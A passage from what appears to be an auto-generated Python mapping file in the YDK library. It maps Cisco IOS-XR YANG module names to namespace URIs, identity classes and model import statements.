'Cisco-IOS-XR-vservice-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-vservice-cfg',
'Cisco-IOS-XR-wanphy-ui-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-cfg',
'Cisco-IOS-XR-wanphy-ui-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-oper',
'Cisco-IOS-XR-wanphy-ui-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-oper',
'Cisco-IOS-XR-watchd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-watchd-cfg',
'Cisco-IOS-XR-wd-cfg' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wd-cfg',
'Cisco-IOS-XR-wd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wd-oper',
'Cisco-IOS-XR-wd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wd-oper',
'Cisco-IOS-XR-wdsysmon-fd-oper' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wdsysmon-fd-oper',
'Cisco-IOS-XR-wdsysmon-fd-oper-sub1' : 'http://cisco.com/ns/yang/Cisco-IOS-XR-wdsysmon-fd-oper',
'cisco-xr-ietf-netconf-monitoring-deviations' : 'http://cisco.com/ns/yang/cisco-xr-ietf-netconf-monitoring-deviations',
'cisco-xr-openconfig-bgp-deviations' : 'http://cisco.com/ns/yang/cisco-xr-bgp-deviations',
'cisco-xr-openconfig-bgp-policy-deviations' : 'http://cisco.com/ns/yang/cisco-xr-bgp-policy-deviations',
'cisco-xr-openconfig-if-aggregate-deviations' : 'http://cisco.com/ns/yang/cisco-xr-openconfig-if-aggregate-deviations',
'cisco-xr-openconfig-if-ethernet-deviations' : 'http://cisco.com/ns/yang/cisco-xr-openconfig-if-ethernet-deviations',
'cisco-xr-openconfig-if-ip-deviations' : 'http://cisco.com/ns/yang/cisco-xr-openconfig-if-ip-deviations',
'cisco-xr-openconfig-mpls-deviations' : 'http://cisco.com/ns/yang/cisco-xr-openconfig-mpls-deviations',
'cisco-xr-openconfig-telemetry-deviations' : 'http://cisco.com/ns/yang/cisco-xr-openconfig-telemetry-deviations',
'cisco-xr-openconfig-vlan-deviations' : 'http://cisco.com/ns/yang/cisco-xr-openconfig-vlan-deviations',
'cisco-xr-routing-policy-deviations' : 'http://cisco.com/ns/yang/cisco-xr-routing-policy-deviations',
}
_identity_map = { \
('Cisco-IOS-XR-ip-domain-oper', 'Host-address-base'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_domain_oper', 'HostAddressBaseIdentity'),
('Cisco-IOS-XR-ip-domain-oper', 'ipv4'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_domain_oper', 'Ipv4Identity'),
('Cisco-IOS-XR-ip-domain-oper', 'ipv6'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_domain_oper', 'Ipv6Identity'),
('Cisco-IOS-XR-lib-mpp-oper', 'ipv4'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_mpp_oper', 'Ipv4Identity'),
('Cisco-IOS-XR-lib-mpp-oper', 'ipv6'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_mpp_oper', 'Ipv6Identity'),
('Cisco-IOS-XR-lib-mpp-oper', 'Mpp-af-id-base'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_mpp_oper', 'MppAfIdBaseIdentity'),
('Cisco-IOS-XR-tty-management-oper', 'Host-af-id-base'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_management_oper', 'HostAfIdBaseIdentity'),
('Cisco-IOS-XR-tty-management-oper', 'ipv4'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_management_oper', 'Ipv4Identity'),
('Cisco-IOS-XR-tty-management-oper', 'ipv6'):('ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_management_oper', 'Ipv6Identity'),
}
_namespace_package_map = { \
('http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-cfg', 'span-monitor-session') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_Ethernet_SPAN_cfg import SpanMonitorSession',
('http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper', 'span-monitor-session') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_Ethernet_SPAN_oper import SpanMonitorSession',
('http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-lib-cfg', 'aaa') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_aaa_lib_cfg import Aaa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-admin-cfg', 'aaa') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_aaa_locald_admin_cfg import Aaa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-oper', 'aaa') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_aaa_locald_oper import Aaa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper', 'radius') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_aaa_protocol_radius_oper import Radius',
('http://cisco.com/ns/yang/Cisco-IOS-XR-alarmgr-server-oper', 'alarms') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_alarmgr_server_oper import Alarms',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper', 'asic-errors') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asic_errors_oper import AsicErrors',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-asic-errors-oper', 'asic-error-stats') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_asic_errors_oper import AsicErrorStats',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-fsi-oper', 'fabric-stats') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_fsi_oper import FabricStats',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-lpts-oper', 'platform-lptsp-ifib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_lpts_oper import PlatformLptspIfib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper', 'net-flow') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_netflow_oper import NetFlow',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-np-oper', 'hardware-module-np') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_np_oper import HardwareModuleNp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg', 'hardware-module-efd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_prm_cfg import HardwareModuleEfd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg', 'hardware-module-load-balance') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_prm_cfg import HardwareModuleLoadBalance',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg', 'hardware-module-qos-mode') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_prm_cfg import HardwareModuleQosMode',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg', 'hardware-module-tcam') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_prm_cfg import HardwareModuleTcam',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg', 'hardware-module-tcp-mss-adjust') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_prm_cfg import HardwareModuleTcpMssAdjust',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper', 'platform-qos') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_qos_oper import PlatformQos',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-admin-oper', 'environmental-monitoring') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_sc_envmon_admin_oper import EnvironmentalMonitoring',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-oper', 'environmental-monitoring') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_sc_envmon_oper import EnvironmentalMonitoring',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper', 'inventory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_sc_invmgr_admin_oper import Inventory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-oper', 'inventory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_asr9k_sc_invmgr_oper import Inventory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper', 'atm-vcm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_atm_vcm_oper import AtmVcm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-cfg', 'lacp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_cfg import Lacp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper', 'bundle-information') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_oper import BundleInformation',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper', 'bundles') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_oper import Bundles',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper', 'bundles-adjacency') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_oper import BundlesAdjacency',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper', 'lacp-bundle-members') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_oper import LacpBundleMembers',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper', 'lacp-bundles') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_oper import LacpBundles',
('http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper', 'lacp-data') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_bundlemgr_oper import LacpData',
('http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-cfg', 'cdp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_cdp_cfg import Cdp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-oper', 'cdp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_cdp_oper import Cdp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-cfg', 'isis') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_cfg import Isis',
('http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper', 'isis') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_clns_isis_oper import Isis',
('http://cisco.com/ns/yang/Cisco-IOS-XR-cmproxy-oper', 'sdr-inventory-vm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_cmproxy_oper import SdrInventoryVm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-config-cfgmgr-exec-oper', 'cfg-hist-gl') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_config_cfgmgr_exec_oper import CfgHistGl',
('http://cisco.com/ns/yang/Cisco-IOS-XR-config-mda-cfg', 'active-nodes') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_config_mda_cfg import ActiveNodes',
('http://cisco.com/ns/yang/Cisco-IOS-XR-config-mda-cfg', 'preconfigured-nodes') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_config_mda_cfg import PreconfiguredNodes',
('http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-oper', 'optics-oper') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_controller_optics_oper import OpticsOper',
('http://cisco.com/ns/yang/Cisco-IOS-XR-controller-otu-oper', 'otu') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_controller_otu_oper import Otu',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-cfg', 'macsec') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_macsec_mka_cfg import Macsec',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-mka-oper', 'macsec') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_macsec_mka_oper import Macsec',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-pl-oper', 'macsec') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_macsec_pl_oper import Macsec',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-macsec-secy-oper', 'macsec') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_macsec_secy_oper import Macsec',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-cfg', 'crypto') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_sam_cfg import Crypto',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-sam-oper', 'sam') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_sam_oper import Sam',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-oper', 'ssh') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_ssh_oper import Ssh',
('http://cisco.com/ns/yang/Cisco-IOS-XR-crypto-ssh-oper', 'ssh1') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_crypto_ssh_oper import Ssh1',
('http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-driver-oper', 'fia') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_dnx_driver_oper import Fia',
('http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-netflow-oper', 'net-flow') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_dnx_netflow_oper import NetFlow',
('http://cisco.com/ns/yang/Cisco-IOS-XR-dnx-port-mapper-oper', 'oor') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_dnx_port_mapper_oper import Oor',
('http://cisco.com/ns/yang/Cisco-IOS-XR-drivers-media-eth-oper', 'ethernet-interface') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_drivers_media_eth_oper import EthernetInterface',
('http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-oper', 'dwdm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_dwdm_ui_oper import Dwdm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-dwdm-ui-oper', 'vtxp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_dwdm_ui_oper import Vtxp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-cfg', 'es-acl') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_es_acl_cfg import EsAcl',
('http://cisco.com/ns/yang/Cisco-IOS-XR-es-acl-oper', 'es-acl') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_es_acl_oper import EsAcl',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-cfm-oper', 'cfm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ethernet_cfm_oper import Cfm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-link-oam-oper', 'ether-link-oam') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ethernet_link_oam_oper import EtherLinkOam',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-cfg', 'lldp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ethernet_lldp_cfg import Lldp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ethernet-lldp-oper', 'lldp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ethernet_lldp_oper import Lldp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fia-hw-profile-cfg', 'hw-module-profile-config') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fia_hw_profile_cfg import HwModuleProfileConfig',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fia-internal-tcam-oper', 'controller') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fia_internal_tcam_oper import Controller',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-cfg', 'fib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fib_common_cfg import Fib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper', 'fib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fib_common_oper import Fib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper', 'fib-mpls') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fib_common_oper import FibMpls',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper', 'fib-statistics') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fib_common_oper import FibStatistics',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fib-common-oper', 'mpls-forwarding') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fib_common_oper import MplsForwarding',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-drop-stats-oper', 'drop') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_bcm_dpa_drop_stats_oper import Drop',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-hw-resources-oper', 'dpa') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_bcm_dpa_hw_resources_oper import Dpa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-npu-stats-oper', 'dpa') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_bcm_dpa_npu_stats_oper import Dpa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-fretta-bcm-dpa-resources-oper', 'dpa') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_bcm_dpa_resources_oper import Dpa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-group-cfg', 'apply-groups') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_group_cfg import ApplyGroups',
('http://cisco.com/ns/yang/Cisco-IOS-XR-group-cfg', 'groups') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_group_cfg import Groups',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-cfg', 'event-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ha_eem_cfg import EventManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ha-eem-policy-oper', 'eem') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ha_eem_policy_oper import Eem',
('http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-cfg', 'nv-satellite-global') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_icpe_infra_cfg import NvSatelliteGlobal',
('http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-cfg', 'nv-satellites') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_icpe_infra_cfg import NvSatellites',
('http://cisco.com/ns/yang/Cisco-IOS-XR-icpe-infra-oper', 'nv-satellite') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_icpe_infra_oper import NvSatellite',
('http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-cfg', 'iedge-license-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_iedge4710_cfg import IedgeLicenseManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-cfg', 'subscriber-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_iedge4710_cfg import SubscriberManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper', 'iedge-license-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_iedge4710_oper import IedgeLicenseManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-iedge4710-oper', 'subscriber') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_iedge4710_oper import Subscriber',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-cfg', 'global-interface-configuration') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ifmgr_cfg import GlobalInterfaceConfiguration',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-cfg', 'interface-configurations') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ifmgr_cfg import InterfaceConfigurations',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper', 'interface-dampening') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ifmgr_oper import InterfaceDampening',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ifmgr-oper', 'interface-properties') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ifmgr_oper import InterfaceProperties',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-alarm-logger-oper', 'alarm-logger') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_alarm_logger_oper import AlarmLogger',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-oper', 'correlator') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_correlator_oper import Correlator',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-correlator-oper', 'suppression') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_correlator_oper import Suppression',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-dumper-cfg', 'exception') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_dumper_cfg import Exception',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-cfg', 'banners') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_infra_cfg import Banners',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-clock-cfg', 'clock') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_infra_clock_cfg import Clock',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-clock-linux-cfg', 'clock') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_infra_clock_linux_cfg import Clock',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-locale-cfg', 'locale') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_infra_locale_cfg import Locale',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-cfg', 'object-group') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_objmgr_cfg import ObjectGroup',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-objmgr-oper', 'object-group') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_objmgr_oper import ObjectGroup',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-cfg', 'policy-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_policymgr_cfg import PolicyManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-policymgr-oper', 'policy-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_policymgr_oper import PolicyManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-cfg', 'router-convergence') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rcmd_cfg import RouterConvergence',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rcmd-oper', 'rcmd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rcmd_oper import Rcmd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rmf-oper', 'redundancy') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rmf_oper import Redundancy',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg', 'global-af') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_cfg import GlobalAf',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg', 'selective-vrf-download') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_cfg import SelectiveVrfDownload',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg', 'srlg') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_cfg import Srlg',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg', 'vrf-groups') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_cfg import VrfGroups',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-cfg', 'vrfs') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_cfg import Vrfs',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper', 'selective-vrf-download') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_oper import SelectiveVrfDownload',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper', 'srlg') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_oper import Srlg',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-rsi-oper', 'vrf-group') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_rsi_oper import VrfGroup',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-cfg', 'sla') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_sla_cfg import Sla',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-oper', 'sla') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_sla_oper import Sla',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-sla-oper', 'sla-nodes') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_sla_oper import SlaNodes',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-cfg', 'statistics') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_statsd_cfg import Statistics',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-statsd-oper', 'infra-statistics') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_statsd_oper import InfraStatistics',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-cfg', 'syslog') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_syslog_cfg import Syslog',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-cfg', 'syslog-service') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_syslog_cfg import SyslogService',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-oper', 'logging') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_syslog_oper import Logging',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-syslog-oper', 'syslog') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_syslog_oper import Syslog',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-cfg', 'traffic-collector') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_cfg import TrafficCollector',
('http://cisco.com/ns/yang/Cisco-IOS-XR-infra-tc-oper', 'traffic-collector') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper import TrafficCollector',
('http://cisco.com/ns/yang/Cisco-IOS-XR-installmgr-admin-oper', 'install') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_installmgr_admin_oper import Install',
('http://cisco.com/ns/yang/Cisco-IOS-XR-invmgr-oper', 'inventory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_invmgr_oper import Inventory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-cfg', 'bfd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_bfd_cfg import Bfd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-bfd-oper', 'bfd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_bfd_oper import Bfd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-cfg', 'ip-domain') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_domain_cfg import IpDomain',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-domain-oper', 'ip-domain') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_domain_oper import IpDomain',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v4-oper', 'ipv4arm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_iarm_v4_oper import Ipv4Arm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iarm-v6-oper', 'ipv6arm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_iarm_v6_oper import Ipv6Arm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-icmp-cfg', 'icmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_icmp_cfg import Icmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-cfg', 'ip-explicit-paths') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_iep_cfg import IpExplicitPaths',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-iep-oper', 'explicit-paths') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_iep_oper import ExplicitPaths',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-mobileip-cfg', 'mobile-ip') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_mobileip_cfg import MobileIp',
